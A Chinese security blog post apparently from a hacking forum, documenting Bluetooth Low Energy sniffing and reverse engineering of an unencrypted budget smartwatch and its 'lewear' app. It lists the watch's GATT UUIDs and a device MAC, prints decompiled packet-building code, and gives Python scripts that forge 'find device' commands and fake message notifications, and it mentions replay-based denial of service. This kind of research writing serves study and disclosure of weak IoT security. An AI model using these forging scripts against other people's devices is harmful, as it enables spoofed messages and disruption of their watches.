某个周末,找发小去玩,一眼看到他手腕上的苹果表,看起来比我的牛逼,遂抢过来玩玩。
不得不说,还挺流畅,表盘也比我的好看(苹果你该死啊!!!)。
突然想起来,手里还有传奇的nRF52832 Dongle。
link start。
关于低功耗蓝牙嗅探和渗透,参考这篇文章:https://p1yang.github.io/article/94a01627.html#%E5%97%85%E6%8E%A2
感谢yichen115师傅的启发:https://bbs.kanxue.com/thread-283915.htm
基本信息
mac地址:4d:23:a0:c1:00:ec
通过广播包,可以看到设备名称叫H14 Ultar+。
app叫lewear,长得还挺像样子。
绑定
通过app绑定和使用三方调试助手对比,发现并没有做加密或认证绑定操作,所以可以直接绕过绑定分析和加密分析。(世界安全能力降低1w倍之全世界没有加密)
不过华强北嘛,哪有安全,能用就行。
重放尝试
这里先尝试微信消息显示。
包是这样的,数据为72030101703179616e673a54657374a1cf71a9,大概可以看出来07030101为消息标识,70到a1为消息体,最后一段还不确定,但是不影响重放。
这里没截到,是对UUID为6е400002b5a3f393e0a9e50e24dcca9e的特征(Characteristics)进行的数据交换。
并且发现几乎所有的数据交换都是通过该特征进行的,所以大胆推测下07的代表的功能就是消息推送。
后续再分析。
后边测试重放是可以的,甚至可以通过重放完成拒绝服务攻击。
具体攻击:
https://www.bilibili.com/video/BV11nzbY8ESx/
逆向app
在通过查找uuid关键字,能发现CommandHanle,即所有写入都调用这个文件下的方法
所以功能基本都调用UUID_READ 和UUID_WRITE,通过不同的标识区分不同的功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 | 6e40fff0 - b5a3 - f393 - e0a9 - e50e24dcca9e UUID_SERVICE
6e400003 - b5a3 - f393 - e0a9 - e50e24dcca9e UUID_READ
6e400002 - b5a3 - f393 - e0a9 - e50e24dcca9e UUID_WRITE
00002902 - 0000 - 1000 - 8000 - 00805f9b34fb GATT_NOTIFY_CONFIG
0000180A - 0000 - 1000 - 8000 - 00805F9B34FB SERVICE_DEVICE_INFO 服务设备信息
00002A26 - 0000 - 1000 - 8000 - 00805F9B34FB CHAR_FIRMWARE_REVISION 固件版本
00002A27 - 0000 - 1000 - 8000 - 00805F9B34FB CHAR_HW_REVISION 硬件版本
00002A28 - 0000 - 1000 - 8000 - 00805F9B34FB CHAR_SOFTWARE_REVISION 软件版本
de5bf728 - d711 - 4e47 - af26 - 65e3012a5dc7 SERIAL_PORT_SERVICE 串口服务
de5bf729 - d711 - 4e47 - af26 - 65e3012a5dc7 SERIAL_PORT_CHARACTER_NOTIFY 串口字符通知
de5bf72a - d711 - 4e47 - af26 - 65e3012a5dc7 SERIAL_PORT_CHARACTER_WRITE 串口字符写入
00003802 - 0000 - 1000 - 8000 - 00805f9b34fb PAY_MAIN_SERVICE_UUID 支付主服务UUID
00004a02 - 0000 - 1000 - 8000 - 00805f9b34fb PAY_BASIC_WRITE_NOTIFY_UUID 支付基本写入通知UUID
|
通过代码调用可知,CommandHandle为蓝牙交互的基本方法,所都的调用类型都在这里。
其参数baseReqCmd.getData()就是整个功能编码成蓝牙交互数据的关键。
这里通过查找手表功能来理解下。
数据包:
findWatch
所有发包功能继承实现了baseReqCmd。
所以理清baseReqCmd的逻辑,然后找到功能标识参数,即可伪造发送功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | public abstract class BaseReqCmd {
protected static final String TAG = "Jxr35" ;
protected byte key;
protected int type;
protected abstract byte [] getSubData();
public BaseReqCmd( byte b) {
this .key = b;
}
public byte [] getData() {
byte [] bArr = new byte [Constants.CMD_DATA_LENGTH];
bArr[ 0 ] = this .key;
byte [] subData = getSubData();
if (subData != null ) {
System.arraycopy(subData, 0 , bArr, 1 , subData.length);
}
addCRC(bArr);
return bArr;
}
private void addCRC( byte [] bArr) {
int i = 0 ;
for ( int i2 = 0 ; i2 < bArr.length - 1 ; i2++) {
i += bArr[i2];
}
bArr[bArr.length - 1 ] = ( byte ) (i & 255 );
}
}
|
所以大致思路就是传入key+内容+CRC校验码共16位。
通过该思路,可以反推一个数据包中所代表的功能。
这里我用python推了一个编码脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | class Constants:
CMD_DATA_LENGTH = 16
class BaseReqCmd:
TAG = "Jxr35"
def __init__( self , key: int ):
self .key = key
self . type = 0
def getSubData( self ) - > bytes:
raise NotImplementedError( "This method should be overridden by subclasses" )
def getData( self ) - > bytes:
bArr = bytearray(Constants.CMD_DATA_LENGTH)
bArr[ 0 ] = self .key
subData = self .getSubData()
if subData:
bArr[ 1 : 1 + len (subData)] = subData
self .addCRC(bArr)
return bytes(bArr)
def addCRC( self , bArr: bytearray):
crc = sum (bArr[: - 1 ]) & 0xFF
bArr[ - 1 ] = crc
class FindDeviceReq(BaseReqCmd):
def __init__( self ):
super ().__init__( 80 )
def getSubData( self ) - > bytes:
return bytes([ 85 , - 86 & 0xff ])
if __name__ = = "__main__" :
req = FindDeviceReq()
data = req.getData()
print (f "Generated data: {data}" )
print (f "Hex representation: {[hex(b) for b in data]}" )
|
伪造消息
这里重点关注了消息推送服务,尝试能否解析伪造。
通过对多次发消息的对比和代码逆向。
大致思路就是,将一段长消息分成每段11个字节的短消息。
整个数据包为:key:75, app: 01-xx, 消息段数, 消息段, 消息, 校验码。
根据这个思路写的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | import sys
def addCRC( list ):
checkNum = sum ( list [: - 1 ])& 0xff
k = 15 - len ( list )
for i in range ( 0 ,k):
list .append( 0 )
list .append(checkNum)
return list
def string_to_unicode_and_ascii(input_str):
result = []
for char in input_str:
if char.isascii():
result.append( ord (char))
else :
s = char.encode( 'utf-8' )
for i in s:
result.append(i)
return result
def format_list_to_hex_string(lst):
return ''.join(f "{item:02x}" for item in lst)
if __name__ = = '__main__' :
input_str = sys.argv[ 1 ]
output_str = string_to_unicode_and_ascii(input_str)
num_0 = len (output_str) / / 11 + 1
num_1 = 1
for i in range ( 0 , len (output_str), 11 ):
list = [ 0x72 , 3 ,num_0,num_1]
for s in output_str[i:i + 11 ] :
list .append(s)
addCRC( list )
num_1 + = 1
print (format_list_to_hex_string( list ))
|
这里应该不能算结束,我本来是想怎么想办法刷机getadb,提取手表app,拿来看看能不能rce玩的,但是没有wifi功能,只能算个蓝牙设备。无奈狗日的不让我拆,等我放假回老家给byd揍一顿再拆。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 6天前
被p1yang编辑
,原因: